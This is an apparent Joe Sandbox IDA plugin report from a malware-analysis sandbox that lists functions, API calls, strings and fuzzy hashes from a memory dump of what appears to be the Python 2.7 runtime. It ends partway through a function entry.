Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_$AttrCheckErr_ErrorFatalFormatMallocSequence_String
String ID: %s:%d: bad argument to internal function$..\Objects\iterobject.c$GC object already tracked$P&0l
API String ID: 2777691447-971234031
Opcode ID: a686cd0064a5b90989389813c1a6186bf79f7992aaa6dc9abe0a1ab909a3816c
Instruction ID: 09ff72402fb12ddbd62b046af0e5b431d8893eb114f767705109f1b20739c6aa
Opcode Fuzzy Hash: a686cd0064a5b90989389813c1a6186bf79f7992aaa6dc9abe0a1ab909a3816c
Instruction Fuzzy Hash: AE1159B27002048BC3108F45C801656F3E8FB55328F104A2FDC3893B91D7B5E096CBC0

Function 6C1D0F50 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(6F68F1C3,?,?,6C16595C,00000000,?,-00000040,00000000,00000000), ref: 6C1D0F5B
TlsGetValue.KERNEL32(?,?,6C16595C,00000000,?,-00000040,00000000,00000000), ref: 6C1D0F64
SetLastError.KERNEL32(00000000,?,6C16595C,00000000,?,-00000040,00000000,00000000), ref: 6C1D0F6D
Py_FatalError.PYTHON27(auto-releasing thread-state, but no thread-state for this thread,?,6C16595C,00000000,?,-00000040,00000000,00000000), ref: 6C1D0F7C

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

Py_FatalError.PYTHON27(This thread state must be current when releasing,?,6C16595C,00000000,?,-00000040,00000000,00000000), ref: 6C1D0F91
PyThreadState_Clear.PYTHON27(00000000,?,?,?,?,?,?,?,?,?,6C16595C,00000000,?,-00000040,00000000,00000000), ref: 6C1D0FA0

Strings

auto-releasing thread-state, but no thread-state for this thread, xrefs: 6C1D0F77
This thread state must be current when releasing, xrefs: 6C1D0F8C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Error$DebugOutputString$FatalLast__iob_func$ClearState_ThreadValueabortfflushfprintf
String ID: This thread state must be current when releasing$auto-releasing thread-state, but no thread-state for this thread
API String ID: 635605043-2749262977
Opcode ID: 55c4c480812575e68d1421f096212c884e99f41c0ec30b9c366e1481c1a58050
Instruction ID: 67d65690c9ce43146d288ca2f70c686d3a16bee84337394c815d33f0d6f73b43
Opcode Fuzzy Hash: 55c4c480812575e68d1421f096212c884e99f41c0ec30b9c366e1481c1a58050
Instruction Fuzzy Hash: 6BF08B739046246BCA1117E869085DE37B85D4637C7170162E901D7F00D329B58586D3

Function 6C1C3CD0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 38stringCOMMON

Download Yara Rule

APIs

PyOS_snprintf.PYTHON27(?,00000000,%.100s,(impossible<bad format char>),6C1C531E,?,?,?), ref: 6C1C3CDD
strncpy.MSVCR90 ref: 6C1C3CE5
PyOS_snprintf.PYTHON27(?,00000000,must be %.50s, not %.50s,(impossible<bad format char>),None,6C1C531E,?,?,?), ref: 6C1C3D0B

Strings

%.100s, xrefs: 6C1C3CD6
None, xrefs: 6C1C3CFD, 6C1C3D02
must be %.50s, not %.50s, xrefs: 6C1C3D04, 6C1C3D1E
(impossible<bad format char>), xrefs: 6C1C3CD5, 6C1C3CE3, 6C1C3D03, 6C1C3D1D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: S_snprintf$strncpy
String ID: %.100s$(impossible<bad format char>)$None$must be %.50s, not %.50s
API String ID: 3205757138-3587708185
Opcode ID: 5e6634d7d00542f8611c1155753ddbce8bf918cf09debb882e7164254c324662
Instruction ID: c46beb914acd9416dc5550586f7fff1455d0a60cbfae68c91ff5702d6071c221
Opcode Fuzzy Hash: 5e6634d7d00542f8611c1155753ddbce8bf918cf09debb882e7164254c324662
Instruction Fuzzy Hash: 12F0A7907091943BD25152186C89E6B396CCFA674CF494488FC009BB03D208CE06C2BA

Function 6C0AF110 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 149COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000014), ref: 6C0AF14E
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0AF188
PyList_New.PYTHON27(00000001), ref: 6C0AF1CF
malloc.MSVCR90 ref: 6C0AF220
PyErr_NoMemory.PYTHON27 ref: 6C0AF22D

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

Strings

P&0l, xrefs: 6C0AF19D, 6C0AF1A6, 6C0AF1AE
GC object already tracked, xrefs: 6C0AF183

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ErrorExceptionFatalGivenList_MallocMatchesMemoryObjectObject_malloc
String ID: GC object already tracked$P&0l
API String ID: 4141357651-2850754575
Opcode ID: 028f48f7996b13fc120a6cbb439bbc616b40fb144ee2a5d538bd044e869f185c
Instruction ID: ffead2b9bb4fcdd958e689e67ef0b61b2d739d08fc92eceac270d49e04a0fcbf
Opcode Fuzzy Hash: 028f48f7996b13fc120a6cbb439bbc616b40fb144ee2a5d538bd044e869f185c
Instruction Fuzzy Hash: 5B5107757046018FDB04CFD9D840755B7F8EB86328B24866EC869CBB52E376D847CB91

Function 6C0B08A0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

Py_FatalError.PYTHON27(GC object already tracked), ref: 6C0B08FF

Strings

P&0l, xrefs: 6C0B0914, 6C0B091D, 6C0B0925
((OllddO)), xrefs: 6C0B09D4
GC object already tracked, xrefs: 6C0B08FA

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: ErrorFatal
String ID: ((OllddO))$GC object already tracked$P&0l
API String ID: 2938028924-1634911648
Opcode ID: f2a090f0df3f2cfb14bc07e335dba5eb7c6b61193d28cda4d91770cb192c1524
Instruction ID: 61c2bac4e1b6be9e5ad47cd78c76318cd14102ccfe8ac45ee15827980bcb42ed
Opcode Fuzzy Hash: f2a090f0df3f2cfb14bc07e335dba5eb7c6b61193d28cda4d91770cb192c1524
Instruction Fuzzy Hash: 4C4101B26046419FDB10DF69D980916B3F4FB48328B108A6DD8ADD7B40E732F895CBC0

Function 6C157410 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLongMask.PYTHON27(?), ref: 6C157447
PyString_FromString.PYTHON27(an integer is required), ref: 6C157524
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,an integer is required), ref: 6C15752D

Strings

__int__ method should return an integer, xrefs: 6C1574DD
an integer is required, xrefs: 6C15751F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Long$Err_FromLong_MaskObjectStringString_Unsigned
String ID: __int__ method should return an integer$an integer is required
API String ID: 4252816533-4209363968
Opcode ID: 615779e2a62b57e8347f85226d5de4e078326e4fe87805422fddc666a15b96b8
Instruction ID: ca9c8e03e663e0cbb4b23fb32885b86bddddb5c3ccbd565777193cd724f23fab
Opcode Fuzzy Hash: 615779e2a62b57e8347f85226d5de4e078326e4fe87805422fddc666a15b96b8
Instruction Fuzzy Hash: F23127B6B115014BD210CA6EEC41A96B395EF94238B64836AED3CC7BD0E725DC62C7D1

Function 6C0A7C00 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

PyObject_Call.PYTHON27(00000000,00000000,00000000), ref: 6C0A7C4C
PySequence_Concat.PYTHON27(?,?), ref: 6C0A7C94
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006DD), ref: 6C0A7CC3
PyDict_Copy.PYTHON27(?), ref: 6C0A7CCF

Part of subcall function 6C1466F0: PyDict_New.PYTHON27 ref: 6C14670B
Part of subcall function 6C1466F0: PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 6C14671A

PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 6C0A7D06

Strings

..\Objects\dictobject.c, xrefs: 6C0A7CB8
%s:%d: bad argument to internal function, xrefs: 6C0A7CBD

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_$Merge$CallConcatCopyErr_FormatObject_Sequence_
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
API String ID: 1080960429-1541589624
Opcode ID: f6177a0d3b07e39f37f78ebb964fc51fbe930ea786081b5291fbba96c0fcf03d
Instruction ID: 7d4d06dcd03a5e2ee6dd880a7ac893d6bface348b4f9287cdaf9d7aba9789bb0
Opcode Fuzzy Hash: f6177a0d3b07e39f37f78ebb964fc51fbe930ea786081b5291fbba96c0fcf03d
Instruction Fuzzy Hash: 6B41A1726006016BD7148EE9DC80B9673E5EB84378F25876CED288BB86E735EC53C6D1

Function 6C0A3E30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

PyObject_RichCompare.PYTHON27(?,?,00000002), ref: 6C0A3E82
PyObject_IsTrue.PYTHON27(00000000), ref: 6C0A3EAB
PyInt_FromLong.PYTHON27(00000000), ref: 6C0A3F27
PyString_FromString.PYTHON27(deque mutated during iteration), ref: 6C0A3F41
PyErr_SetObject.PYTHON27(6C2E5248,00000000,deque mutated during iteration), ref: 6C0A3F4A
_PyLong_FromByteArray.PYTHON27(?,00000004,00000001,00000001), ref: 6C0A3F7F

Strings

deque mutated during iteration, xrefs: 6C0A3F3C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$Object_$ArrayByteCompareErr_Int_LongLong_ObjectRichStringString_True
String ID: deque mutated during iteration
API String ID: 157478544-601426129
Opcode ID: c63781658b318280957b5289446e117fe290b3fcfc596f734aace34cda498abd
Instruction ID: 6f550813df96b8c5b59ccc55cc1e90ad46a3cab46babc669e0d0f9b087d0acbf
Opcode Fuzzy Hash: c63781658b318280957b5289446e117fe290b3fcfc596f734aace34cda498abd
Instruction Fuzzy Hash: 7841B675A042119BC300DE99D881B5AB3F5EF88728F248A69E96887B81D731E94687D2

Function 6C0AA920 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127fileCOMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON27 ref: 6C0AA954
PyObject_Malloc.PYTHON27(00002838,?,?), ref: 6C0AA96A
PyErr_NoMemory.PYTHON27(?,?,?), ref: 6C0AA976

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

PyDict_New.PYTHON27 ref: 6C0AA9E1
fopen.MSVCR90 ref: 6C0AAA11
PyErr_SetFromErrnoWithFilename.PYTHON27(6C2E4EC0,?,?,?,?,?,?), ref: 6C0AAA41

Strings

s|ii:profiler, xrefs: 6C0AA93E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Arg_Dict_ErrnoExceptionFilenameFromGivenMallocMatchesMemoryObjectObject_ParseTupleWithfopen
String ID: s|ii:profiler
API String ID: 159822933-225131833
Opcode ID: 26a9f9de212a43b7eb6b97eab8f7fcd0c15eb589877fdd3e16b3d07264964fc9
Instruction ID: 01d58e6b2819786308bf0c7734db2c4723d00a83385321b2c8913d6a3adc1fd0
Opcode Fuzzy Hash: 26a9f9de212a43b7eb6b97eab8f7fcd0c15eb589877fdd3e16b3d07264964fc9
Instruction Fuzzy Hash: 374184B2A046008FC310DFE9D84469AF3E4EF94328F248B2ED4A9C7681E735D546CF96

Function 6C0A1000 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(lo must be non-negative), ref: 6C0A101C
PyErr_SetObject.PYTHON27(6C2E5D10,00000000,lo must be non-negative), ref: 6C0A1025
PySequence_Size.PYTHON27(?), ref: 6C0A1056
PySequence_GetItem.PYTHON27(?,?), ref: 6C0A107C
PyObject_RichCompare.PYTHON27(?,00000000,00000000), ref: 6C0A1091
PyObject_IsTrue.PYTHON27(00000000), ref: 6C0A10BB

Strings

lo must be non-negative, xrefs: 6C0A1017

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Object_Sequence_$CompareErr_FromItemObjectRichSizeStringString_True
String ID: lo must be non-negative
API String ID: 3936278477-626569241
Opcode ID: 1bb4c6b7b655bac1ac40451bd2f4110a8d20497f69a7d288010d23e4ead8ac79
Instruction ID: 187d34f67432457dd60d4668b250238f0a3bfe8d2708f16ff3f5b3e20002cf91
Opcode Fuzzy Hash: 1bb4c6b7b655bac1ac40451bd2f4110a8d20497f69a7d288010d23e4ead8ac79
Instruction Fuzzy Hash: 0131F476A01645DBC7108EEAA840B9B73E8AF81374B154328ED2457B81D7B5EC1787D2

Function 6C12B6D0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,expected a single-segment buffer object), ref: 6C12B729
PyErr_SetString.PYTHON27(6C2E48B0,expected a readable buffer object), ref: 6C12B76D
PyString_FromString.PYTHON27(null argument to internal routine), ref: 6C12B796
PyErr_SetObject.PYTHON27(6C2E65C8,00000000,null argument to internal routine), ref: 6C12B79F

Strings

expected a single-segment buffer object, xrefs: 6C12B723
null argument to internal routine, xrefs: 6C12B791
expected a readable buffer object, xrefs: 6C12B767

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_
String ID: expected a readable buffer object$expected a single-segment buffer object$null argument to internal routine
API String ID: 354487993-198770205
Opcode ID: 8e77f9831029ed471868d1357fec4149632aff3c44088a55a81d1be63f32a814
Instruction ID: b79d3df7e9e7c67d19ccd07d4cf7fac6c233726ecddbd41d9eb506e0980b6643
Opcode Fuzzy Hash: 8e77f9831029ed471868d1357fec4149632aff3c44088a55a81d1be63f32a814
Instruction Fuzzy Hash: CD21093A6012055BD710CE69EC80BA673A4EB95334F204769ED7C877C0E735E891CBD1

Function 6C12B7D0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 101COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,expected a single-segment buffer object), ref: 6C12B82A
PyErr_SetString.PYTHON27(6C2E48B0,expected a writeable buffer object), ref: 6C12B86F
PyString_FromString.PYTHON27(null argument to internal routine), ref: 6C12B898
PyErr_SetObject.PYTHON27(6C2E65C8,00000000,null argument to internal routine), ref: 6C12B8A1

Strings

expected a single-segment buffer object, xrefs: 6C12B824
null argument to internal routine, xrefs: 6C12B893
expected a writeable buffer object, xrefs: 6C12B869

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_
String ID: expected a single-segment buffer object$expected a writeable buffer object$null argument to internal routine
API String ID: 354487993-377861076
Opcode ID: e3812c8436ddd3332a7cc7849199c6301394865515198d7f87869c0ae4c8d8fd
Instruction ID: 327d04398dc385236a4a952241229062e3137c50d33223481948b3c471e033ab
Opcode Fuzzy Hash: e3812c8436ddd3332a7cc7849199c6301394865515198d7f87869c0ae4c8d8fd
Instruction Fuzzy Hash: E521273AA012045BD710CA69EC80BAAB3A4EB95335F144729EC3DC7B80E735E8A0C7D1

Function 6C12D7D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(__int__), ref: 6C12D7E2
PyString_InternInPlace.PYTHON27(?), ref: 6C12D7F5
PyObject_GetAttr.PYTHON27(?,?), ref: 6C12D82E
PyErr_Clear.PYTHON27 ref: 6C12D83C
PyEval_CallObjectWithKeywords.PYTHON27(00000000,00000000,00000000), ref: 6C12D859
PyErr_Format.PYTHON27(6C2E48B0,?,?), ref: 6C12D8A7

Strings

__int__, xrefs: 6C12D7DD

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String_$AttrCallClearEval_FormatFromInternKeywordsObjectObject_PlaceStringWith
String ID: __int__
API String ID: 2531902524-1878893692
Opcode ID: 3b5523b38d5377ac17b329cca5c34fdd8509e1b795a726cf2a081f79e3df0533
Instruction ID: d7c1632a19acfb6543e8e1451877588510a11c3c15d05f6cab61ffe854daca53
Opcode Fuzzy Hash: 3b5523b38d5377ac17b329cca5c34fdd8509e1b795a726cf2a081f79e3df0533
Instruction Fuzzy Hash: A2312476E006059BD714EA58EC40A9A73B8EF51738F244328EC28C7B40E739EDA6C7D1

Function 6C0A8470 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(heap argument must be a list), ref: 6C0A8494
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,heap argument must be a list), ref: 6C0A849D
PyErr_SetString.PYTHON27(6C2E5B38,index out of range), ref: 6C0A84D5
PyList_SetSlice.PYTHON27(?,?,?,00000000), ref: 6C0A84F7

Part of subcall function 6C0A82E0: PyString_FromString.PYTHON27(index out of range), ref: 6C0A830A
Part of subcall function 6C0A82E0: PyErr_SetObject.PYTHON27(6C2E5B38,00000000,index out of range), ref: 6C0A8313

Strings

